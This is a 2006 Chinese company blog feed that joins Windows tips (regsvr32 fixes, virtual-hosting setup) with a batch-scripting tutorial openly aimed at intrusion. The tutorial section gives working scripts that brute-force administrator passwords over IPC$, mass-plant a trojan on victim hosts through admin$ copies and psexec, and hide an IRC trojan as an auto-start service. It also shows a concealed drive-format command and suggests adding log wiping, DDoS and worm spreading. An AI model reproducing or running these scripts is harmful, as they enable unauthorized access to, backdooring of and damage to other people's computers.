在制作完全自动安装的Windows XP SP2光盘的过程中，我们其实还可以将一些常用的软件放到光盘内，并进行集成自动安装。由于篇幅关系，这些相关技巧我们会在以后陆续的为大家介绍，敬请留意！ www.85bs.com 浙江博硕数据

浙江博硕数据 2006-05-18 17:18 发表评论

Regsvr32命令详解

浙江博硕数据 — Thu, 18 May 2006 09:17:00 GMT

Windows系统提供的Regsvr32命令也许很多朋友都见过可能还不知道怎么用，它可是一个很实用的功能。

　　一、能够帮你轻松修复IE浏览器
　　很多经常上网的朋友都有过这样的遭遇：IE不能打开新的窗口，用鼠标点击超链接也没有任何反应。这时重装IE一般能解决问题。其实不必这么麻烦，使用Regsvr32命令就可以轻松搞定。

　　在“开始→运行”中键入“regsvr32 actxprxy.dll”命令，点击“确定”按钮，这时会弹出一个信息对话框“DllRegisterServer in actxprxy.dll succeeded”，点击“确定”；然后再在“开始→运行”中键入“regsvr32 shdocvw.dll”命令，单击“确定”即可。重新启动后IE已经被轻松修复了。

　　二、解决Windows无法在线升级的问题
　　Windows的漏洞很多，每隔一段时间就需要使用“Windows Update”升级程序进行在线升级，不过“Windows Update”经常出现无法使用的情况，这时，我们可以使用Regsvr32来解决这个问题。

　　在“开始→运行”中键入“regsvr32 wupdinfo.dll”，点击“确定”按钮，这样在系统中就重新注册了“Windows Update”组件，重新启动后问题已经解决。

　　三、防范网络脚本病毒有新招
　　网络脚本病毒嵌在网页中，上网时在不知不觉中机器就会感染上这种病毒。笔者认为单纯使用杀毒软件并不能有效地防范这些脚本病毒，必须从病毒传播的机理入手。网络脚本病毒的复制、传播都离不开FSO对象(File System Object，文件系统对象)，因此禁用FSO对象就能有效地控制脚本病毒的传播。操作方法很简单：

　　在“开始→运行”中键入“regsvr32 /u scrrun.dll”就可以禁用FSO对象；如果需要使用FSO对象，键入“regsvr32 scrrun.dll”命令即可。

　　四、卸载Win XP自带的“鸡肋”功能
　　Win XP以功能强大而著称，但有些功能却常常令人有“鸡肋”之感，比如Win XP自带的ZIP功能和图片预览功能，不仅占用了系统资源，功能也远不如第三方软件强大。其实用Regsvr32命令可以很容易地卸载这些功能。

　　在“开始→运行”中键入“regsvr32  /u  zipfldr.dll”，单击“确定”按钮，弹出卸载成功信息框后就完成了ZIP功能的卸载；要恢复ZIP功能，键入“regsvr32  zipfldr.dll”即可。同样，卸载图片预览功能也很简单，在“开始→运行”中键入“regsvr32  /u  thumbvw.dll”即可；如果要恢复该功能，只须键入“regsvr32  thumbvw.dll”。　　
五、让WMP播放器支持RM格式
　　很多朋友喜欢用Windows  Media  Player(以下简称WMP)播放器，但是它不支持RM格式，难道非得安装其他播放软件吗？笔者有办法。

　　以Win XP为例，首先下载一个RM格式插件，解压缩后得到两个文件夹：Release(用于Windows 9x)和Release Unicode (用于Windows 2000/XP)；将Release Unicode文件夹下的RealMediaSplitter.ax文件拷贝到“系统盘符\WINDOWS\System32\”目录下；在“开始→运行”中键入“regsvr32 RealMediaSplitter.ax”，点击“确定”即可。接着下载解码器，如Real Alternative，安装后就能用WMP播放RM格式的影音文件了。

　　RM格式插件下载地址：http://www.fyrose.com/realmediasplitter_20030729.zip

　　RM格式解码器下载地址：http://www.fyrose.com/realalt111.exe

　　你知道吗？Regsvr32命令
　　Regsvr 32命令是Windows中控件文件(如扩展名为DLL、OCX、CPL的文件)的注册和反注册工具。

　　命令格式
　　Regsvr32 [/s] [/n] [/i[:cmdline]] dllname

　　/u 卸载安装的控件，卸载服务器注册；

　　/s 注册成功后不显示操作成功信息框；

　　/i 调用DllInstall函数并把可选参数[cmdline]传给它，当使用/u时用来卸载DLL；

　　/n 不调用DllRegisterServer，该参数必须和/i一起使用。

　　简单实例
　　要手工注册“E:\CPCW.dll”，只需在“开始→运行”中键入“Regsvr32 E:\CPCW.dll”，单击“确定”按钮后会弹出提示信息“DllRegisterServer in CPCW.dll succeeded”，说明组件注册成功；如果要卸载此组件，在“开始→运行”中键入“Regsvr32 /u E:\CPCW.dll”即可

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-18 17:17 发表评论

简明批处理教程[1]

浙江博硕数据 — Thu, 18 May 2006 09:15:00 GMT

最近对于批处理技术的探讨比较热，也有不少好的批处理程序发布，但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件，也就更谈不上自己动手编写了，古语云：“授人以鱼，不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程>>给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.

批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介

1.Echo 命令
打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample：@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用> >> ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。
Sample：@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)

3.Goto 命令
指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。
语法：goto label （label是参数，指定所要转向的批处理程序中的行。）
Sample：
if {%1}=={} goto noparms
if {%2}=={} goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。
Rem Message
Sample：@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时，将显示下面的消息：
Press any key to continue . . .
Sample：
@echo off
:begin
copy a:*.* d：\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数：
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample：
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag （应先判断数值最高的错误码）
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。

9.If 命令

if 表示将判断是否符合规定的条件，从而决定执行不同的命令。有三种格式:
1、if "参数" == "字符串" 　待执行的命令
参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms

2、if exist 文件名　待执行的命令
如果有指定的文件，则条件成立，运行命令，否则运行下一句。
如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字　待执行的命令
如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。
如if errorlevel 2 goto x2 　
DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable

for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I

如果命令扩展名被启用，下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符，则指定与目录名匹配，而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树，指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录，则使用当前
目录。如果集仅为一个单点(.)字符，则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

或者，如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前，每份文件都已被打开、读取并经过处理。
处理包括读取文件，将其分成一行行的文字，然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号，
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将
每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或
空格定界符号。请注意，这个 for 程序体的语句引用 %i 来
取得第二个符号，引用 %j 来取得第三个符号，引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名，您需要用双引号将文件名括起来。为了用这种方式来使
用双引号，您还需要使用 usebackq 选项，否则，双引号会
被理解成是用作定义某个要分析的字符串的。

%i 专门在 for 语句中得到说明，%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号，只要不试图说明一个高于字母 z 或
Z 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；
同时不能有 52 个以上都在使用中。

您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，
用单引号将括号之间的 filenameset 括起来。这样，该字符
串会被当作一个文件中的一个单一输入行。

最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进
内存，并被当作文件分析。因此，以下例子:

FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

会枚举当前环境中的环境变量名称。

另外，FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:

~I - 删除任何引号(")，扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义，或者没有找到文件，此组合键会扩充
空字符串

可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR

在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读，而且避免与不分大小写的组合键混淆。

以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。

sample2：

利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。
最主要的命令是一条：for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ，这样就ko了。

sample3：

你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。

主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。
代码雏形：

--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

浙江博硕数据 2006-05-18 17:15 发表评论

简明批处理教程[2]

浙江博硕数据 — Thu, 18 May 2006 09:15:00 GMT

二.如何在批处理文件中使用参数

批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。
sample1：fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^
sample2：
当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3

三.如何使用组合命令(Compound Command)

1.&

Usage：第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令，而不管命令是否执行成功

Sample：
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:51 .
2002-05-14 23:51 ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage：第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；

Sample：
C:\>dir z: && dir c:\Ex4rch
The system cannot find the path specified.

C:\>dir c:\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\Ex4rch

2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单，如：
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
如果远程服务器上存在backup.mdb文件，就执行copy命令，若不存在该文件则不执行copy命令。这种用法可以替换IF exist了：）

3.||

Usage：第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令；

Sample：
C:\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子：
sample：
@copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-18 17:15 发表评论

简明批处理教程[3]

浙江博硕数据 — Thu, 18 May 2006 09:15:00 GMT

四、管道命令的使用

1.| 命令
Usage：第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。

sample：
time /t>>D:\IP.log
netstat -n -p tcp|find ":3389">>D:\IP.log
start Explorer
看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。

sample1：
echo hello world>c:\hello.txt (stupid example?)

sample2:
时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录：
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用，也就不多做介绍。

No.5
五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作，常见的是创建、修改、删除。

1.创建
创建分为两种，一种是创建子项(Subkey)

我们创建一个文件，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]

然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String value”
door的类型是“REG SZ value”
Autodos的类型是“DWORD value”

2.修改
修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。

3.删除
我们首先来说说删除一个项目名称，我们创建一个如下的文件：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了；

我们再看看删除一个子项，我们创建一个如下的脚本：

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。

相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要这样：
@echo Windows Registry Editor Version 5.00>>Sample.reg

@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg

samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll

@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动]
@REM 这样不是更安全^_^.

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-18 17:15 发表评论

系统必需文件收录贴！VB5VB6运行库(1)

浙江博硕数据 — Sun, 14 May 2006 07:41:00 GMT

摘要: 系统必需文件收录贴！VB5VB6运行库(1) 浙江博硕数据 www.85bs.com 系统必需文件收录贴！VB5VB6运行库MFC、ASPI、d3dx8、d3dx9、d3dx9_25、d3dx9_26、d3dx9_27、、d3dx9_28、d3dx9_29、uxtheme、msvcr7、msvcp7、ODBC、MD... 阅读全文

浙江博硕数据 2006-05-14 15:41 发表评论

Windows 2003搭建虚拟主机服务器--用户与磁盘空间和域名的绑定

浙江博硕数据 — Sun, 14 May 2006 06:52:00 GMT

　　随着Internet越来越普及，各种各样的虚拟主机也越来越多，由于虚拟主机需要同时向大量不同的用户提供安全的网络应用环境，因此搭建一个虚拟主机平台除了需要架设WEB和FTP服务器，还涉及到一些虚拟主机环境所特有的问题。以下就对这些特有的问题进行归纳和分析。我个人认为在建立虚拟主机时主要需要注意以下三个大方面:

　1.用户与磁盘空间和域名的绑定;

　　2.用户使用磁盘空间的容量限制(磁盘配额);

　　3.IIS和用户环境的安全问题(我使用的是Windows Server系统);

　　下面我就以这三个方面在Windows 2003 Enterprise Server具体如何实现做一个详细的介绍。

　　一、用户与磁盘空间和域名的绑定

　　先打开计算机管理(要是服务器已经升成为AD模式，就打开Active Directory用户与计算机)，点击展开本地用户和组，右键单击用户模块分别创建两个用户帐号。我这里建立的用户帐号依次为test1、test2。注意，为了安全考虑，请在组的模块中新建一个组。把用于虚拟主机的用户归纳到里面，并把用户原来隶属于的User组删除。(作为一个称职的管理员，需要注意的小细节是很多的，不然一个错误的细节就会引起灾难)如图1:

图1：建立虚拟主机的用户组

　　建立好帐号后，就在FTP空间目录下先建立一个LocalUser文件夹。然后对应所使用的帐号建立子文件夹。如:要是FTP空间指定的是D:\ WEB_Space文件夹，那就在这个文件夹下创建一个LocalUser文件夹。接着建立两个子文件夹:test1、test2.如图2:

图2：建立LocalUser文件夹

　　由于刚才我们建立用户帐号时，把它们单独的归纳到一个组中，这时就需要在FTP空间根目录属性的安全选项卡中把这个组添加进去，用户将无法通过FTP访问。如图3:

图3：设置用户组权限

　　接着我们需要建立FTP 用户隔离站点。这个功能是以前版本的IIS中FTP站点所没有的，FTP 用户隔离为 Internet 服务提供商 (ISP) 和应用服务提供商提供了解决方案，使他们可以为客户提供上载文件和 Web 内容的个人 FTP 目录。FTP 用户隔离通过将用户限制在自己的目录中，来防止用户查看或覆盖其他用户的 Web 内容。

因为顶层目录就是 FTP 服务的根目录，用户无法浏览目录树的上一层。在特定的站点内，用户能创建、修改或删除文件和文件夹。FTP 用户隔离是站点属性，而不是服务器属性。无法为每个 FTP 站点启动或关闭该属性。所以在建立FTP站点的时候就应该选择好，不然站点建立以后，将无法修改。

浙江博硕数据真诚为您服务 http://www.85bs.com

浙江博硕数据 2006-05-14 14:52 发表评论

Windows 2003搭建虚拟主机服务器--IIS和用户环境的安全问题

浙江博硕数据 — Sun, 14 May 2006 06:52:00 GMT

　记得一位资深的安全人士曾经说过，从Windows 2000 Server开始，本身的系统漏洞和网络漏洞已经不是那么多了，甚至可以说Windows本身安全系数已经超越了LINUX系统本身，(这里我只是引用语句，希望不会引发Windows和LINUX向来的争论)但由于Windows周边产品漏洞和不安全因数太多，尤其是IIS服务。才导致人人说它不安全。

　　由于系统的安全问题实在是太过于庞大，所分的体系也非常多，不可能面面具到，所以我根据个人经验说几个和虚拟主机密切相关的安全问题，但由于这些问题要想得到彻底的解决说明的话，那需要太多的篇幅，这里我也只能指出这些问题，和解决这些问题的思路。

　　支持ASP系统的IIS安全问题:

　　在支持ASP的IIS系统中，主要问题有两个，一个是由于ASP页面的输入框引起的安全攻击。在ASP页面中，我们经常可以看见输入框，如登录帐号、密码、查询、手机等等..这些控件其实是很危险的，因为这些控件的后台往往是连接着数据库，(SQL、Oracle等)有经验的程序员可以通过这些输入框输入数据库命令，在通过系统本身的数据库执行后，得到数据库帐号和密码。那也意味着离得到SYSTEM或Administrator帐号不远了。

